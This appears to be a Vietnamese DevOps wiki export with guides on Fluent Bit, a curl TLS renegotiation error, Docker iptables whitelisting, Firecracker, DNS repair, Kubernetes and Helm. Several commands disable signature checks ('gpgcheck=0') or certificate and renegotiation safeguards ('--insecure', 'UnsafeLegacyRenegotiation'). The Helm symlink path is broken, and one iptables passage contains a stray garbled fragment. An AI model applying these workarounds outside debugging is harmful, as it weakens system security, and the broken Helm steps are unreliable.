gpgkey=https://packages.fluentbit.io/fluentbit.key
enabled=1
EOF
```

#### 2. Cài đặt Fluent Bit

```bash
sudo yum install -y fluent-bit
```

#### 3. Khởi động Fluent Bit

```bash
sudo systemctl start fluent-bit
```

Bạn có thể kiểm tra trạng thái:

```bash
sudo systemctl status fluent-bit
```

***

### 📦 Tạo repository offline để dùng nội bộ (air-gapped)

Trong nhiều trường hợp bạn không có kết nối mạng (server offline hoặc security zone chặt chẽ), bạn có thể tạo một repo offline như sau:

#### Bước 1: Tải các RPM Fluent Bit và phụ thuộc

Thực hiện trên **máy có internet**:

```bash
dnf install --downloadonly --downloaddir=./fluentbit_rpms fluent-bit
```

#### Bước 2: Tạo metadata với `createrepo`

Cài `createrepo_c` nếu chưa có:

```bash
sudo dnf install -y createrepo_c
```

Tạo metadata cho thư mục RPM:

```bash
createrepo ./fluentbit_rpms
```

#### Bước 3: Chuyển repository đến server nội bộ

Sao chép toàn bộ thư mục `fluentbit_rpms/` sang server cần cài Fluent Bit (dùng USB, SCP, rsync...)

#### Bước 4: Cấu hình repo offline trên server nội bộ

```bash
cat > /etc/yum.repos.d/fluent-bit-offline.repo <<EOF
[fluent-bit-offline]
name=Fluent Bit Offline
baseurl=file:///path/to/fluentbit_rpms
enabled=1
gpgcheck=0
EOF
```

> Thay `/path/to/fluentbit_rpms` bằng đường dẫn thực tế.

#### Bước 5: Cài đặt Fluent Bit từ repo offline

```bash
sudo yum install fluent-bit
```

***

### 🔗 Tài liệu tham khảo

* [Fluent Bit Repo List](https://packages.fluentbit.io/)
* [Gist cài đặt Fluent Bit + cấu hình đầu vào/ra](https://gist.github.com/rupeshtiwari/9c8eeaea037c10466492446adb6293ef)

***

Bạn muốn mình xuất bản bài viết này thành file `.md` hoặc đăng lên blog cá nhân/GitHub Pages không?


# Lỗi SSL với Curl ( Unsafe legacy renegotiation )

Dưới đây là bài viết blog tổng hợp về lỗi `unsafe legacy renegotiation` khi dùng `curl` với TLS, hướng tới chia sẻ cho cộng đồng kỹ thuật hoặc DevOps, SysAdmin:

***

### ⚠️ \[LỖI CURL] `unsafe legacy renegotiation disabled` – Nguyên nhân và cách khắc phục với OpenSSL 3

Khi làm việc với các hệ thống sử dụng TLS (HTTPS), bạn có thể gặp lỗi sau khi dùng `curl` để truy cập một API:

```
curl: (35) OpenSSL/3.0.x: error:0A000152:SSL routines::unsafe legacy renegotiation disabled
```

Lỗi này khiến bạn không thể kết nối tới server qua HTTPS, dù API vẫn hoạt động bình thường trên trình duyệt. Vậy chuyện gì đang xảy ra?

***

#### 🔍 Nguyên nhân: **Legacy TLS Renegotiation**

TLS "renegotiation" là quá trình client và server đàm phán lại phiên mã hóa giữa chừng. Nhưng trước năm 2010, cơ chế này có một lỗ hổng nghiêm trọng (CVE-2009-3555) cho phép **kẻ tấn công chèn dữ liệu vào phiên TLS** mà không bị phát hiện.

➡️ Để vá lỗ hổng, **RFC 5746** ra đời và định nghĩa lại cách thực hiện renegotiation một cách **an toàn**.

> ❗ Tuy nhiên, một số máy chủ cũ vẫn dùng cơ chế **legacy renegotiation**, không tương thích với chuẩn bảo mật hiện đại.

***

#### 🔐 OpenSSL 3.x: Không còn cho phép legacy renegotiation

Từ phiên bản **OpenSSL 3.0+**, **chế độ legacy renegotiation bị vô hiệu hóa mặc định** vì lý do bảo mật. Điều đó dẫn đến lỗi khi dùng:

```bash
curl https://your-api.example.com
```

***

#### 💡 Giải pháp tạm thời: Cho phép lại renegotiation **một cách có kiểm soát**

Bạn có thể bật lại renegotiation tạm thời bằng cách override cấu hình OpenSSL khi gọi `curl`:

**✅ Cách dùng:**

```bash
OPENSSL_CONF=<(echo -e '[default_conf]\nssl_conf = ssl_sect\n[ssl_sect]\nsystem_default = profile_sect\n[profile_sect]\nOptions = UnsafeLegacyRenegotiation\nMinProtocol = TLSv1.2\nMaxProtocol = TLSv1.2') \
curl --insecure https://your-api.example.com
```

**Giải thích:**

| Thành phần                            | Mục đích                          |
| ------------------------------------- | --------------------------------- |
| `Options = UnsafeLegacyRenegotiation` | Bật lại renegotiation cũ          |
| `Min/MaxProtocol = TLSv1.2`           | Ép chỉ dùng TLS 1.2               |
| `--insecure`                          | Bỏ qua xác thực chứng chỉ nếu cần |

> ⚠️ **Không dùng trong production hoặc hệ thống có dữ liệu nhạy cảm.** Chỉ dùng để debug/test tạm thời.

***

#### ✅ Giải pháp lâu dài: **Fix từ phía máy chủ**

Nếu bạn quản lý máy chủ (ngược lại là client), hãy đảm bảo:

* Phần mềm web server (Apache/nginx/Java/Tomcat) đã hỗ trợ **RFC 5746**
* Tắt hẳn renegotiation nếu không cần thiết:

  ```apache
  SSLInsecureRenegotiation off
  ```
* Nâng cấp phần mềm lên phiên bản mới hỗ trợ secure renegotiation (Apache ≥ 2.2.15, nginx ≥ 1.3...)

***

#### 🧪 Cách kiểm tra server có hỗ trợ RFC 5746 hay không

```bash
openssl s_client -connect your-api.example.com:443
```

Nếu kết quả có dòng:

```
Secure Renegotiation IS NOT supported
```

➡️ Máy chủ đang **không hỗ trợ RFC 5746**, cần nâng cấp hoặc cấu hình lại.

***

#### 🛠️ Trường hợp đặc biệt: Palo Alto, F5, HAProxy

* Nếu kết nối HTTPS đi qua thiết bị trung gian như **Palo Alto firewall**, bạn cần kiểm tra:
  * Phiên bản PAN-OS (>= 8.1 sẽ hỗ trợ RFC 5746)
  * Chính sách TLS/SSL profile trong cấu hình
* Tắt hoặc điều chỉnh các chính sách decryption nếu gây lỗi handshake

***

#### 📌 Kết luận

| Tình huống               | Cách xử lý                                                 |
| ------------------------ | ---------------------------------------------------------- |
| Là client gặp lỗi        | Bật lại `UnsafeLegacyRenegotiation` tạm thời như hướng dẫn |
| Là server quản lý        | Cập nhật phần mềm và bật RFC 5746                          |
| Dùng thiết bị trung gian | Kiểm tra SSL/TLS handling của thiết bị                     |

***

#### 📥 Tham khảo nhanh: Lệnh mẫu

```bash
OPENSSL_CONF=<(echo -e '[default_conf]\nssl_conf = ssl_sect\n[ssl_sect]\nsystem_default = profile_sect\n[profile_sect]\nOptions = UnsafeLegacyRenegotiation') \
curl --insecure https://your-api.example.com
```

***

#### 👨‍💻 Thực tế với your-api.example.com

* Server không hỗ trợ RFC 5746
* Bắt buộc phải dùng legacy renegotiation → gây lỗi với OpenSSL 3.x
* Chỉ có thể kết nối thành công bằng cách bật `UnsafeLegacyRenegotiation` tạm thời


# Allow few IP Address to connect to docker

<figure><img src="https://2228498603-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0lSGvKwtJHW3HsU6FBvs%2Fuploads%2FY0wCx8J0m1NBIVdS0KPI%2Fimage.png?alt=media&amp;token=e3fae4ac-6e0f-48f8-96a0-ccef2d828338" alt=""><figcaption></figcaption></figure>

#### Ví dụ về việc sử dụng iptables chặn kết nối vào port nat trên Docker

Allow only ip 8.8.8.8 and 4.4.4.4 connect to port 3306

```
iptables -A DOCKER-USER -i eth0 -s 8.8.8.8 -p tcp -m conntrack --ctorigdstport 3306 --ctdir ORIGINAL -j ACCEPT
iptables -A DOCKER-USER -i eth0 -s 4.4.4.4 -p tcp -m conntrack --ctorigdstport 3306 --ctdir ORIGINAL -j ACCEPT
iptables -A DOCKER-USER -i eth0 -p tcp -m conntrack --ctorigdstport 3306 --ctdir ORIGINAL -j DROP
```

***

#### Lệnh 1:

```bash
iptables -A DOCKER-USER -i eth0 -s 8.8.8.8 -p tcp -m conntrack --ctorigdstport 3306 --ctdir ORIGINAL -j ACCEPT
```

**Giải thích:**

* **`-A DOCKER-USER`**: Thêm một quy tắc mới vào chuỗi `DOCKER-USER`. Chuỗi `DOCKER-USER` là một chuỗi do người dùng định nghĩa trong iptables, được Docker sử dụng để cho phép lọc lưu lượng mạng tùy chỉnh trước khi gói tin đến các chuỗi do Docker quản lý (như `DOCKER` hoặc `FORWARD`).
* **`-i eth0`**: Chỉ định giao diện mạng đầu vào là `eth0`. Quy tắc này áp dụng cho các gói tin đi vào hệ thống qua giao diện mạng `eth0` (thường là giao diện Ethernet).
* **`-s 8.8.8.8`**: Chỉ áp dụng cho các gói tin đến từ địa chỉ IP nguồn `8.8.8.8` (đây là địa chỉ DNS công cộng của Google, được sử dụng làm ví dụ).
* **`-p tcp`**: Chỉ áp dụng cho các gói tin sử dụng giao thức TCP.
* **`-m conntrack`**: Sử dụng mô-đun `conntrack` để kiểm tra trạng thái theo dõi kết nối. Mô-đun này giúp iptables hiểu được trạng thái và ngữ cảnh của các kết nối mạng.
* **`--ctorigdstport 3306`**: Khớp với các gói tin có **cổng đích ban đầu** (trước khi bị NAT chuyển đổi, ví dụ: ánh xạ cổng của Docker) là 3306. Cổng 3306 thường được sử dụng cho MySQL hoặc MariaDB.
* **`--ctdir ORIGINAL`**: Chỉ áp dụng cho các gói tin trong **hướng ban đầu** của kết nối (tức là từ máy khách đến máy chủ, khởi tạo kết nối). Điều này đảm bảo quy tắc chỉ áp dụng cho các yêu cầu kết nối mới, không áp dụng cho các gói tin trả lời.
* **`-j ACCEPT`**: Nếu gói tin thỏa mãn tất cả các điều kiện trên, nó sẽ được chấp nhận (cho phép đi tiếp đến đích, ví dụ: một container Docker chạy MySQL trên cổng 3306).

**Tóm tắt:**

Quy tắc này cho phép lưu lượng TCP từ địa chỉ IP `8.8.8.8` qua giao diện `eth0` truy cập vào dịch vụ (có thể là MySQL/MariaDB) trên cổng 3306 trong một container Docker.

***

#### Lệnh 2:

```bash
iptables -A DOCKER-USER -i eth0 -s 4.4.4.4 -p tcp -m conntrack --ctorigdstport 3306 --ctdir ORIGINAL -j ACCEPT
```

**Giải thích:**

Quy tắc này gần giống với quy tắc thứ nhất, chỉ khác ở địa chỉ IP nguồn:

* **`-s 4.4.4.4`**: Chỉ áp dụng cho các gói tin đến từ địa chỉ IP nguồn `4.4.4.4` (một địa chỉ IP ví dụ, thường liên quan đến DNS công cộng của Level 3).

Các thành phần khác (`-i eth0`, `-p tcp`, `-m conntrack`, `--ctorigdstport 3306`, `--ctdir ORIGINAL`, `-j ACCEPT`) đều giống quy tắc đầu tiên.

**Tóm tắt:**

Quy tắc này cho phép lưu lượng TCP từ địa chỉ IP `4.4.4.4` qua giao diện `eth0` truy cập vào dịch vụ trên cổng 3306 trong container Docker.

***

#### Lệnh 3:

```bash
iptables -A DOCKER-USER -i eth0 -p tcp -m conntrack --ctorigdstport 3306 --ctdir ORIGINAL -j DROP
```

**Giải thích:**

* **`-A DOCKER-USER`**: Thêm một quy tắc mới vào chuỗi `DOCKER-USER`.
* **`-i eth0`**: Áp dụng cho các gói tin đi vào qua giao diện `eth0`.
* **`-p tcp`**: Chỉ áp dụng cho các gói tin sử dụng giao thức TCP.
* **`-m conntrack`**: Sử dụng mô-đun `conntrack` để theo dõi kết nối.
* **`--ctorigdstport 3306`**: Khớp với các gói tin có cổng đích ban đầu là 3306.
* **`--ctdir ORIGINAL`**: Chỉ áp dụng cho các gói tin trong hướng ban đầu (từ máy前期

System: máy khách đến máy chủ).

* **`-j DROP`**: Loại bỏ (chặn) các gói tin khớp với quy tắc, ngăn không cho chúng đến đích.

**Tóm tắt:**

Quy tắc này chặn tất cả lưu lượng TCP đến cổng 3306 trên giao diện `eth0`, trừ những gói tin đã được phép bởi các quy tắc trước đó trong chuỗi `DOCKER-USER`.

***

#### Tác động tổng thể của các quy tắc:

Ba quy tắc này tạo thành một **danh sách trắng** (whitelist) cho việc truy cập cổng 3306:

1. Quy tắc thứ nhất cho phép lưu lượng từ `8.8.8.8` đến cổng 3306.
2. Quy tắc thứ hai cho phép lưu lượng từ `4.4.4.4` đến cổng 3306.
3. Quy tắc thứ ba chặn tất cả các lưu lượng TCP khác đến cổng 3306 trên giao diện `eth0`.

**Cách iptables xử lý quy tắc:**

* iptables đánh giá các quy tắc theo thứ tự chúng được định nghĩa trong chuỗi.
* Khi một gói tin khớp với một quy tắc, hành động tương ứng (ví dụ: `ACCEPT` hoặc `DROP`) sẽ được thực hiện, và các quy tắc tiếp theo trong chuỗi không được đánh giá nữa.
* Trong trường hợp này:
  * Các gói tin từ `8.8.8.8` hoặc `4.4.4.4` đến cổng 3306 được phép đi qua (quy tắc 1 và 2).
  * Tất cả các gói tin khác đến cổng 3306 trên `eth0` sẽ bị chặn (quy tắc 3).

**Tại sao sử dụng `DOCKER-USER`?**

* Chuỗi `DOCKER-USER` được thiết kế để người dùng thêm các quy tắc lọc tùy chỉnh, được đánh giá **trước** các quy tắc NAT và chuyển tiếp của Docker. Điều này cho phép quản trị viên áp dụng các chính sách lọc mà không bị Docker ghi đè khi khởi động lại hoặc cập nhật container.
* Các quy tắc này rất hữu ích khi bạn muốn giới hạn quyền truy cập vào một dịch vụ trong container (như cơ sở dữ liệu MySQL) chỉ cho một số địa chỉ IP cụ thể.

**Tại sao sử dụng `--ctorigdstport` và `--ctdir ORIGINAL`?**

* **`--ctorigdstport`**: Docker thường sử dụng NAT để ánh xạ cổng bên ngoài với cổng trong container. Ví dụ, cổng 3306 bên ngoài có thể được ánh xạ tới cổng 3306 trong container. Tùy chọn `--ctorigdstport` đảm bảo quy tắc khớp với **cổng đích ban đầu** trước khi NAT chuyển đổi, rất quan trọng trong môi trường Docker.
* **`--ctdir ORIGINAL`**: Đảm bảo quy tắc chỉ áp dụng cho các yêu cầu kết nối mới (từ máy khách đến máy chủ), không áp dụng cho các gói tin trả lời, tránh làm gián đoạn các kết nối đã thiết lập.

***

#### Ví dụ thực tế:

Giả sử bạn có một container Docker chạy MySQL, được ánh xạ trên cổng 3306, và bạn muốn giới hạn quyền truy cập chỉ cho hai địa chỉ IP đáng tin cậy (`8.8.8.8` và `4.4.4.4`). Các quy tắc này sẽ:

* Cho phép `8.8.8.8` và `4.4.4.4` khởi tạo kết nối TCP đến cổng 3306 trên giao diện `eth0`.
* Chặn tất cả các địa chỉ IP khác cố gắng kết nối đến cổng 3306.

**Một số lưu ý:**

* Các quy tắc này giả định `eth0` là giao diện mạng chính nhận lưu lượng từ bên ngoài. Nếu hệ thống của bạn sử dụng giao diện khác (như `ens33`, `wlan0`), bạn cần điều chỉnh tham số `-i`.
* Các quy tắc này chỉ áp dụng cho lưu lượng TCP. Nếu cần kiểm soát các giao thức khác (như UDP), bạn cần thêm các quy tắc bổ sung.
* Quy tắc `DROP` đảm bảo chính sách từ chối mặc định cho cổng 3306, là một phương pháp bảo mật tốt cho các dịch vụ nhạy cảm như cơ sở dữ liệu.
* Nếu container Docker được khởi động lại hoặc các quy tắc iptables của Docker được tạo lại, chuỗi `DOCKER-USER` vẫn được giữ nguyên, đảm bảo các quy tắc này vẫn có hiệu lực.

***

#### Một số cải tiến hoặc lưu ý:

1. **Ghi log các gói tin bị chặn**: Để theo dõi hoặc khắc phục sự cố, bạn có thể thêm một quy tắc ghi log trước quy tắc `DROP`:

   ```bash
   iptables -A DOCKER-USER -i eth0 -p tcp -m conntrack --ctorigdstport 3306 --ctdir ORIGINAL -j LOG --log-prefix "Dropped MySQL Access: "
   ```
2. **Dải địa chỉ IP**: Nếu cần cho phép một dải địa chỉ IP, bạn có thể sử dụng ký hiệu CIDR (ví dụ: `-s 192.168.1.0/24`) thay vì các địa chỉ IP riêng lẻ.
3. **Theo dõi trạng thái**: Các quy tắc đã sử dụng `conntrack`, nhưng bạn có thể thêm quy tắc cho phép các kết nối đã thiết lập:

   ```bash
   iptables -A DOCKER-USER -i eth0 -p tcp -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
   ```

   Quy tắc này nên được thêm **trước** quy tắc `DROP` để tránh làm gián đoạn các kết nối hiện có.
4. **Lưu trữ quy tắc**: Các quy tắc iptables không được lưu tự động sau khi khởi động lại máy. Để lưu vĩnh viễn, sử dụng công cụ như `iptables-persistent` hoặc lưu/lấy lại các quy tắc bằng tay.

***

#### Kết luận:

Các quy tắc `iptables` này tạo ra một chính sách tường lửa:

* Cho phép lưu lượng TCP đến cổng 3306 (thường là MySQL) từ các địa chỉ IP `8.8.8.8` và `4.4.4.4` trên giao diện `eth0`.
* Chặn tất cả các lưu lượng TCP khác đến cổng 3306 trên `eth0`.
* Sử dụng chuỗi `DOCKER-USER` để tương thích với mạng Docker.
* Sử dụng mô-đun `conntrack` để khớp chính xác cổng đích ban đầu và hướng kết nối, đảm bảo kiểm soát chặt chẽ các kết nối đến.


# Cài Đặt Firecracker v1.12.0 Trên Ubuntu

Firecracker là một Virtual Machine Monitor (VMM) mã nguồn mở do Amazon Web Services phát triển. Nó được thiết kế để chạy hàng ngàn máy ảo siêu nhẹ (microVM)

**Firecracker** là một Virtual Machine Monitor (VMM) mã nguồn mở do Amazon Web Services phát triển. Nó được thiết kế để chạy hàng ngàn máy ảo siêu nhẹ (microVM) một cách nhanh chóng và an toàn, đặc biệt phù hợp với các hệ thống serverless như AWS Lambda hoặc Fargate.

Dưới đây là bài blog hướng dẫn cài đặt **Firecracker v1.12.0** trên Ubuntu bằng file `.tar.gz`, phù hợp để bạn lưu trữ hoặc chia sẻ:

***

### 🧰 Yêu Cầu Hệ Thống

* Ubuntu 20.04 / 22.04 (64-bit)
* CPU hỗ trợ **KVM** (Intel VT-x hoặc AMD-V)
* Kernel hỗ trợ `/dev/kvm`

***

### 1. 🔍 Kiểm Tra KVM và CPU Ảo Hóa

```bash
egrep -c '(vmx|svm)' /proc/cpuinfo  # >0 là OK
ls /dev/kvm                         # tồn tại là OK
```

Nếu không có `/dev/kvm`, thử nạp module:

```bash
sudo modprobe kvm
```

***

### 2. 📦 Tải Và Giải Nén Firecracker v1.12.0

```bash
mkdir -p ~/firecracker-v1.12.0 && cd ~/firecracker-v1.12.0

wget https://github.com/firecracker-microvm/firecracker/releases/download/v1.12.0/firecracker-v1.12.0-x86_64.tgz

tar -xvzf firecracker-v1.12.0-x86_64.tgz
```

Sau khi giải nén, sẽ có các file như:

* `firecracker-v1.12.0-x86_64`
* `jailer-v1.12.0-x86_64`
* `sha256sum`
* `release-ID`, `LICENSE`, `NOTICE`

***

### 3. ⚙️ Cấu Hình Firecracker Binary

```bash
chmod +x firecracker-v1.12.0-x86_64 jailer-v1.12.0-x86_64
ln -s firecracker-v1.12.0-x86_64 firecracker
ln -s jailer-v1.12.0-x86_64 jailer
```

Xác nhận:

```bash
./firecracker --version
# → Firecracker v1.12.0
```

***

### 4. 📥 Tải Kernel Và RootFS Mẫu

```bash
wget https://s3.amazonaws.com/spec.ccfc.min/img/hello/kernel/hello-vmlinux.bin -O vmlinux.bin
wget https://s3.amazonaws.com/spec.ccfc.min/img/hello/fsfiles/hello-rootfs.ext4 -O rootfs.ext4
```

***

### 5. 🚀 Khởi Chạy Firecracker microVM

#### 5.1. Mở Socket Firecracker

```bash
sudo ./firecracker --api-sock /tmp/firecracker.socket
```

#### 5.2. Cấu Hình VM Qua API (Terminal khác)

```bash
# Cấu hình máy ảo
curl --unix-socket /tmp/firecracker.socket -i \
    -X PUT 'http://localhost/machine-config' \
    -H 'Content-Type: application/json' \
    -d '{
  "vcpu_count": 1,
  "mem_size_mib": 128,
  "smt": false
}'

# Gán kernel boot
curl --unix-socket /tmp/firecracker.socket -i \
    -X PUT 'http://localhost/boot-source' \
    -H 'Content-Type: application/json' \
    -d '{
        "kernel_image_path": "vmlinux.bin",
        "boot_args": "console=ttyS0 reboot=k panic=1 pci=off"
    }'

# Gán root filesystem
curl --unix-socket /tmp/firecracker.socket -i \
    -X PUT 'http://localhost/drives/rootfs' \
    -H 'Content-Type: application/json' \
    -d '{
        "drive_id": "rootfs",
        "path_on_host": "rootfs.ext4",
        "is_root_device": true,
        "is_read_only": false
    }'
```

#### 5.3. Khởi động microVM

```bash
curl --unix-socket /tmp/firecracker.socket -i \
    -X PUT 'http://localhost/actions' \
    -H 'Content-Type: application/json' \
    -d '{
        "action_type": "InstanceStart"
    }'
```

Lúc này bạn sẽ thấy console máy ảo chạy ngay trong terminal Firecracker

***

### 📚 Tài Liệu Tham Khảo

* GitHub: <https://github.com/firecracker-microvm/firecracker>
* Docs chính thức: <https://firecracker-microvm.github.io>


# Khắc phục lỗi máy chủ không kết nối Internet và không phân giải DNS do iptables

Dưới đây là bài viết tổng kết lại quá trình xử lý sự cố **host không truy cập được Internet và không phân giải được tên miền** do cấu hình `iptables` và `resolv.conf`. Bạn có thể đăng lên blog kỹ thuật, wiki nội bộ hoặc GitHub Pages.

***

## 🧰 Khắc phục lỗi máy chủ không kết nối Internet và không phân giải DNS do iptables

### Tình huống

Sau khi cấu hình tường lửa bằng `iptables`, hệ thống gặp các sự cố sau:

* `ping 8.8.8.8` không thông
* `dig google.com` không có phản hồi
* Các container Docker cũng không truy cập ra ngoài

Tuy `iptables -P OUTPUT ACCEPT` đã cho phép truy cập ra ngoài, nhưng hệ thống **vẫn không kết nối được**.

***

### 📌 Nguyên nhân và hướng xử lý

#### ✅ 1. `iptables INPUT DROP` nhưng thiếu rule cho kết nối hồi đáp

Nếu bạn đặt policy mặc định `INPUT DROP`, bạn **phải cho phép các kết nối đã được thiết lập (`ESTABLISHED`) quay lại**, ví dụ:

```bash
iptables -I INPUT 1 -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
```

Nếu thiếu dòng này, mọi kết nối từ host ra ngoài sẽ **không nhận được phản hồi**, gây lỗi `ping`, `dig`, `curl`,...

***

#### ✅ 2. Thiếu NAT (MASQUERADE) khi có Docker hoặc route nhiều interface

Khi dùng Docker hoặc có mạng nội bộ, bạn cần thêm rule NAT:

```bash
iptables -t nat -A POSTROUTING -o ens5 -j MASQUERADE
```

Thay `ens5` bằng tên interface mạng thật của bạn (`ip a` để kiểm tra). Điều này giúp gói tin từ mạng nội bộ hoặc container có thể đi ra Internet.

***

#### ✅ 3. DNS không phân giải được do `/etc/resolv.conf` cấu hình sai

Khi kiểm tra:

```bash
cat /etc/resolv.conf
```

Thường thấy:

```
nameserver 127.0.0.1
```

→ Nếu hệ thống không có DNS server local như `systemd-resolved`, `dnsmasq`, thì lệnh `dig google.com` sẽ không phân giải được.

**Cách sửa nhanh:**

```bash
echo -e "nameserver 1.1.1.1\nnameserver 8.8.8.8" | sudo tee /etc/resolv.conf
```

***

#### ✅ 4. Tắt `systemd-resolved` nếu cần cấu hình DNS thủ công

Nhiều distro mới dùng `systemd-resolved`, gây ghi đè `resolv.conf`. Để tắt hoàn toàn và quản lý DNS thủ công:

```bash
sudo systemctl disable systemd-resolved
sudo systemctl stop systemd-resolved
sudo rm -f /etc/resolv.conf
echo -e "nameserver 1.1.1.1\nnameserver 8.8.8.8" | sudo tee /etc/resolv.conf
```

***

### ✅ Tổng hợp lệnh khắc phục

```bash
# Cho phép phản hồi từ kết nối đã thiết lập
iptables -I INPUT 1 -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Thêm NAT cho kết nối outbound
iptables -t nat -A POSTROUTING -o ens5 -j MASQUERADE

# Ghi đè cấu hình DNS tạm thời
echo -e "nameserver 1.1.1.1\nnameserver 8.8.8.8" | sudo tee /etc/resolv.conf
```

***

### ✅ Kiểm tra lại sau khi khắc phục

```bash
ping 8.8.8.8
dig google.com
curl https://google.com -I
```

***

### 📚 Kinh nghiệm rút ra

* Luôn kiểm tra `iptables -L -v -n` và đảm bảo cho phép `ESTABLISHED,RELATED` nếu bạn dùng `INPUT DROP`
* Không quên kiểm tra bảng `nat` (`iptables -t nat -L -v -n`)
* Kiểm tra DNS từ `resolv.conf`, nhất là khi dùng `systemd-resolved` hoặc DHCP
* Sử dụng `dig @8.8.8.8 domain.com` để tách biệt vấn đề DNS nội bộ

***


# K8s easy và dễ hiểu

&#x20;

#### 🧭 **Sơ đồ minh họa Kubernetes đơn giản** <a href="#compass-so-do-minh-hoa-kubernetes-don-gian" id="compass-so-do-minh-hoa-kubernetes-don-gian"></a>

```
+------------------------------+
|        Kubernetes Cluster    |
|                              |
|  +--------+   +-----------+  |
|  | Node 1 |   |  Node 2   |  |
|  +--------+   +-----------+  |
|     |               |        |
|  +-------+      +-------+    |
|  |  Pod  |      |  Pod  |    |
|  | nginx |      | redis |    |
|  +-------+      +-------+    |
|                              |
+------------------------------+
```

***

#### 📄 **YAML chạy 1 Pod đơn giản (nginx)** <a href="#page_facing_up-yaml-chay-1-pod-don-gian-nginx" id="page_facing_up-yaml-chay-1-pod-don-gian-nginx"></a>

Tạo file tên `nginx-pod.yaml` với nội dung:

```
apiVersion: v1
kind: Pod
metadata:
  name: nginx-demo
spec:
  containers:
    - name: nginx
      image: nginx:1.25
      ports:
        - containerPort: 80
```

***

#### 🚀 **Chạy thử với Minikube** <a href="#rocket-chay-thu-voi-minikube" id="rocket-chay-thu-voi-minikube"></a>

```
# 1. Khởi động Minikube
minikube start

# 2. Áp dụng file YAML
kubectl apply -f nginx-pod.yaml

# 3. Kiểm tra pod đã chạy chưa
kubectl get pods

# 4. Xem chi tiết pod
kubectl describe pod nginx-demo

# 5. Truy cập vào pod
kubectl exec -it nginx-demo -- /bin/bash
```

```
# 1. Khởi động Minikube
minikube start --driver=docker

# 2. Check node 
kubectl get nodes

# 3. Check pods
kubectl get pods -A

# 4. Áp dụng file YAML
kubectl apply -f nginx-pod.yaml

# 5. Kiểm tra pod đã chạy chưa
kubectl get pods

# 6. Xem chi tiết pod
kubectl describe pod nginx-demo

# 7. Truy cập vào pod
kubectl exec -it nginx-demo -- /bin/bash
```

***

#### 🌐 **Truy cập nginx từ máy bạn** <a href="#globe_with_meridians-truy-cap-nginx-tu-may-ban" id="globe_with_meridians-truy-cap-nginx-tu-may-ban"></a>

Expose port tạm thời để duyệt trình duyệt:

```
kubectl port-forward pod/nginx-demo 8080:80
```

```
kubectl port-forward pod/nginx-demo 8080:80
```

→ Truy cập tại: <http://localhost:8080>


# Cấu hình Config K8s

Để cấu hình `kubectl` kết nối với cluster qua Rancher (hoặc bất kỳ cluster Kubernetes nào), bạn cần chuẩn bị và thực hiện các bước sau:

***

### ✅ **Bước 1: Lấy file `kubeconfig` từ Rancher**

1. Truy cập vào giao diện web Rancher:\
   👉 `https://rancher.demo.com.vn` hoặc địa chỉ Rancher bạn đang dùng.
2. Vào **Cluster** bạn muốn thao tác.
3. Ở góc phải, nhấn **⋮ (biểu tượng 3 chấm)** > **Kubeconfig File** > Tải về file `kubeconfig.yaml`.

***

### ✅ **Bước 2: Cấu hình `kubectl` sử dụng kubeconfig**

#### ✅ Cách 1: Tạm thời trong terminal (chỉ có hiệu lực trong phiên làm việc):

```bash
export KUBECONFIG=~/Downloads/kubeconfig.yaml
```

> ⚠️ Thay `~/Downloads/kubeconfig.yaml` bằng đúng đường dẫn file bạn vừa tải về.

#### ✅ Cách 2: Gán mặc định vĩnh viễn:

Bạn có thể **copy** file này thành file mặc định tại:

```bash
mkdir -p ~/.kube
cp ~/Downloads/kubeconfig.yaml ~/.kube/config
```

***

### ✅ **Bước 3: Kiểm tra kết nối**

```bash
kubectl get nodes
```

* Nếu trả về danh sách node: ✅ kết nối thành công.
* Nếu báo lỗi `Forbidden` hoặc `timeout`, bạn cần kiểm tra:
  * Đã kết nối **VPN** chưa (nếu cụm ở môi trường nội bộ).
  * Bạn có đủ quyền trong cluster không.
  * DNS có phân giải được không (dùng `ping` test tên miền trong kubeconfig).

***

### 🧪 Kiểm tra tên cụm và ngữ cảnh

Xem ngữ cảnh hiện tại:

```bash
kubectl config get-contexts
kubectl config current-context
```

Chuyển context nếu cần:

```bash
kubectl config use-context <context-name>
```

***

### ✅ Gợi ý xử lý nếu lỗi DNS (`no such host`)

Nếu file `kubeconfig` trỏ về địa chỉ như `rancher.demo.com.vn` và bạn bị lỗi `no such host`:

* Kiểm tra DNS bằng:

  ```bash
  nslookup rancher.demo.com.vn
  ```

***

### ✅ Tóm tắt nhanh

| Hành động                 | Lệnh / Gợi ý                  |
| ------------------------- | ----------------------------- |
| Tải kubeconfig từ Rancher | GUI Rancher                   |
| Sử dụng tạm kubeconfig    | `export KUBECONFIG=...`       |
| Dùng kubeconfig mặc định  | Copy vào `~/.kube/config`     |
| Kiểm tra kết nối          | `kubectl get nodes`           |
| Kiểm tra context          | `kubectl config get-contexts` |


# Installations


# Install Helm on Ubuntu

```
$ wget https://get.helm.sh/helm-v3.12.0-linux-amd64.tar.gz
```

```
$ tar -xvf  helm-v3.12.0-linux-amd64.tar.gz
```

```
$ sudo mv linux-amd64  /usr/local/bin
```

```
$ sudo ln -s /usr/local/binlinux-amd64/helm /usr/local/bin/helm
```

Check version

```
helm version
```


# Keyboard Shortcuts

{% hint style="info" %}
**Good to know:** depending on the product you're building, it can be useful to explicitly document use cases. Got a product that can be used by a bunch of people in different ways? Maybe consider splitting it out!
{% endhint %}


